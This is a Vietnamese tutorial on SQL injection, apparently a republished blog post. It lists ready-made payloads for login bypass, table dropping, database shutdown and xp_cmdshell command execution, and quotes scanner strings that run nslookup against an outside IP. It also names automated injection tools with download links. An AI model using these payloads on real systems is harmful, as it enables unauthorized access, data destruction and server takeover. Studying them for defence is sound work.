Nói thêm về SQL Injection

Đa số các trang web hiện nay,tuỳ thuộc vào nội dung mà thiết kế cho riêng mình 1 giao diện bắt mắt.Để làm việc này họ chỉ cần download database từ trên Internet về và sữa đổi dữ liệu đã được cập nhật từ 1 database.Một trong những nền phổ biến cho web datastores là SQL.

Một hay nhiều ứng dụng web thì được đơn giản toàn bộ những script đầu vào bằng cách truy vấn 1 SQL database,bản thân web server hoặc 1 hệ thống đầu cuối riêng biệt.Một trong những cuộc tấn công xảo quyệt nhất ứng dụng web bao gồm việc đánh cắp queries sử dụng bởi bản thân những scripts đầu vào để tước quyền điều khiển những ứng dụng hoặc dữ liệu của nó.Một trong những cơ cấu có hiệu quả nhất để thực hiên điều này là kĩ thuật được mang tên "SQL Injection".

SQL Injection chỉ việc đưa vào những đoạn truy vấn nguy hiểm TransacSQL vào 1 vị trí để thực hiện những hoạt động không ngờ.Thường thì những đoạn truy vấn hiện có đơn giản là Edit để hoàn thành những kết quả tương tự.
TransactSQL thì dễ dàng vận dụng bằng sự thay thế 1 kí tự đơn,tuỳ thuộc vào sự sáng suốt có kẻ tấn công để đưa ra những đoạn truy vấn nguy hiểm.
Một số các kí tự thường được sử dụng để chèn dữ lịêu vào hợp lệ trong bao gồm (');(--);và ;.Chúng có những ý nghĩa đặc biệt trong Transact SQL.
Chúng ta sẽ tự hỏi là khi hacker đánh cắp được SQL query chúng sẽ làm gì?.Ban đầu họ có thể xâm nhập trái phép các dữ liệu.Với những kĩ thuật kín đáo,họ có thể truy cập 1 cách hợp pháp,hoặc thậm chí là tìm cách hoàn toàn điều khiển toàn bộ webserver hoặc hệ thống SQL đầu cuối.

Ví dụ về SQL Injection:Để tìm vị trí bị lỗi SQL Injection,ta gõ 1 số từ khoá trong Form field như sau:
+Đăng nhập hợp pháp:
-Xác nhận đúng mà không cần bất kì điều kiện nào:
USER:' OR "='
PASS:' OR "='
-Xác nhận đúng chỉ với username:
USER:admin'--
-Xác nhận đúng như là người dùng đầu tiên trong user table:
USER:' or 1=1--
-Xác nhận đúng như là 1 người dùng giả tạo:
USER:' union select 1,'user','passwd' 1--
+Phá hoại:
-Bỏ 1 bảng dữ liệu:
USER:';drop table users--
-Shutdown dữ liệu từ xa:
USER:aaaaaaaaaaaaaaa'
PASS:';shutdown--
+Thực thi chức năng yêu cầu lấy và lưu trữ những thủ tục:
-Thi hành xp_cmdshell để lấy 1 danh sách thư mục:
http://localhost/script?0';EXEC+master...#39;dir';--
-Thi hành xp_service control để chiếm đoạt service:
http://localhost/script?0';EXECT+maste...;server';--
Không phải cú pháp trên đều làm việc hầu hết trên các dữ liệu.Thông tin sau sẽ cho biết những phương pháp chúng ta đã sơ lược phía trên sẽ làm việc hay không trong những nền chứa dữ liệu.Vì không kẻ bảng được nên mình gõ như sau cho dễ so sánh:

Datapase specific Information:---My SQL----Oracle-----DB2------Postgre-----MSSQL

UNION possible:----------------------Y------------Y---------Y------------Y------------Y---

Subselects possible:-----------------N------------Y---------Y------------Y------------Y---

Multiple statements:-----------------N(mostly)---N---------N----------Y-------------Y--

Default stored procedures:---------_--Many(utf-file)------_----------_-------M(cmdshell)

Other Comments:----------Supports"intooutfile"-_-------_-----------_-------------_----

+Các công cụ tự động tìm lỗi SQL injection:
SQL Injection thường được thực hiện bằng kĩ thuật của hacker,nhưng 1 vài công cụ có thể tự động quá trình nhận dạng và khai thac chỗ yếu.Wpoison là công cụ có thể phát hiện lỗi SQLInjection trong các trang web.Những đoạn string tìm lỗi SQL thì được lưu trữ trong 1 file từ điển,và vì thế nó trở lên dễ dàng cho bất kì ai thêm vào danh sách từ điển cho riêng mình.Wpoison chạy trên Linux,có thể download tại:
http://wpoison.sourceforge.net
Ngoài ra còn có công cụ SPIKE Proxy,nó có các chức năng khá tốt-tự động thực hiện SQL Injection -những d0oạn string sẽ được Inject tuỳ vào thói quen người sử dụng .SPIKE Proxy là 1 Python và OpenSSL-công cụ đánh giá ứng dụng web cơ bản có các chức năng như HTTP và HTTPS Proxy...Nó cho phép người phát triển web hoặc người quản trị ứng dụng web cấp thấp truy cập vào tòan bộ phương tiện ứng dụng web,trong khi nó cũng cung cấp 1 nhóm các công cụ tự động và những kĩ năng khám phá ra những lỗi thông thường,các công cụ đó bao gồm:SQL Injection,Website Crawler,Login Form Brute Forcer,Automated Overflow Detection..v.vSpike Proxy chạy trên Win32 và Linux,các bạn có thể Download tại:
www.immunitysec.com/spike.html
Chú ý là phần mềm này nặng khoảng 13M và máy tính của bạn phải có sẵn Python và OpenSSL.Trong WinXP công cụ này không hoạt động.

Mieliekoek.pl là 1 SQL Insertion Crawler,có chức năng kiểm tra các form liên quan đến lỗi SQL.Scrip này cung cấp 1 công cụ Web mirroring như là dữ liệu vào,xem xét từng file và nhân diện sự tồn tại các form trong file.Các chuỗi được Inject có thể dễ dàng thay đổi trong file cấu hình.Download Mieliekoek tại:
http://packetstormsecurity.nl/UNIX/security/mieliekoek.pl
Công cụ này chỉ hoạt động khi máy bạn đã cài PERL.Sau đây là 1 ví dụ của dữ liệu xuất từ mieliekoek:

$badstring="blah''';
#$badstring="blah' or 1=1 --";
$badstring="blah' exec master..xp_cmdshell 'nslookup a.com 196.30.67.5' - ';

Thứ Ba, 16/10/2018 11:46
31 👨 1.116
0 Bình luận
Sắp xếp theo